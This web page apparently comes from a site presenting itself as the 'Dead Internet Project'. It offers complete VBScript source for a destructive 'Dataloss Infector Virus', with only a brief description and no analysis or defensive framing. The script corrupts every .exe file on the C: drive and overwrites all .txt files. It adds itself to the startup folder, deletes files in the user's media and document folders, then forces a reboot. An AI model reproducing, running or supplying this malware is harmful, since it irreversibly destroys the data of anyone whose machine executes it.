Welcome to the Dead Internet Project

Dataloss Infector Virus
VBS

Virus that corrupts exe and txt files, copies to startup, and performs other destructive tasks. May not work properly if the user has strict UAC settings. This isnt a virus in the past sense of the word. It is really just a destructive VBScript that most anti-virus software will catch.

Go Back

' Dataloss Infector Virus
' Infects all .exe files through the entire system
' Corrupts the data in the file by adding a random number to the ASCII value of each character
' Overwrites all .txt files with a message
' Copies itself to the startup folder to run on system startup
' Deletes all files in the Documents, Pictures, Music, and Videos folders
' Displays a message box and restarts the system
' Be extremely careful when running this script as it will cause irreversible damage to your files

Dim fso, f, fc, s, r, i, n, a, b, x, y, z, t, p, q
Set fso = CreateObject("Scripting.FileSystemObject")

Function CorruptData(data)
    Dim result, char, ascii, randomNum
    result = ""
    For i = 1 To Len(data)
        char = Mid(data, i, 1)
        ascii = Asc(char)
        randomNum = Int((126 - 33 + 1) * Rnd + 33)
        x = ascii + randomNum
        If x > 126 Then
            y = x - 126
            z = 32 + y
        Else
            z = x
        End If
        result = result & Chr(z)
    Next
    CorruptData = result
End Function

Sub ProcessExeFiles(folder)
    Set fc = folder.Files
    For Each f1 In fc
        If Right(f1.Name, 4) = ".exe" Then
            Set s = fso.OpenTextFile(f1.Path, 1)
            r = s.ReadAll
            s.Close
            corruptedData = CorruptData(r)
            Set s = fso.OpenTextFile(f1.Path, 2)
            s.Write corruptedData
            s.Close
        End If
    Next
    For Each subFolder In folder.SubFolders
        ProcessExeFiles subFolder
    Next
End Sub

Sub OverwriteTextFiles(folder)
    Set fc = folder.Files
    For Each f1 In fc
        If Right(f1.Name, 4) = ".txt" Then
            Set s = fso.OpenTextFile(f1.Path, 2)
            s.Write "Your files have been infected by the Dataloss Infector Virus."
            s.Close
        End If
    Next
    For Each subFolder In folder.SubFolders
        OverwriteTextFiles subFolder
    Next
End Sub

Set rootFolder = fso.GetFolder("C:\")
ProcessExeFiles rootFolder
OverwriteTextFiles rootFolder

Dim startupPath
startupPath = "C:\Users\" & CreateObject("WScript.Network").UserName & "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\script.vbs"
Set s = fso.CreateTextFile(startupPath, True)
s.Write "WScript.CreateObject(""WScript.Shell"").Run ""C:\script.vbs"", 0, False"
s.Close

Dim foldersToDelete
foldersToDelete = Array("Documents", "Pictures", "Music", "Videos")
For Each folderName In foldersToDelete
    Dim folderPath
    folderPath = "C:\Users\" & CreateObject("WScript.Network").UserName & "\" & folderName
    If fso.FolderExists(folderPath) Then
        Set f = fso.GetFolder(folderPath)
        For Each f1 In f.Files
            f1.Delete
        Next
    End If
Next

MsgBox "Your files have been infected by the Dataloss Infector Virus.", 16, "If You Reboot, You Lose Everything"

CreateObject("WScript.Shell").Run "shutdown -r -t 0", 0, False
						

---

© Copyright Dead Internet Online. All Rights Reserved.

↑ Top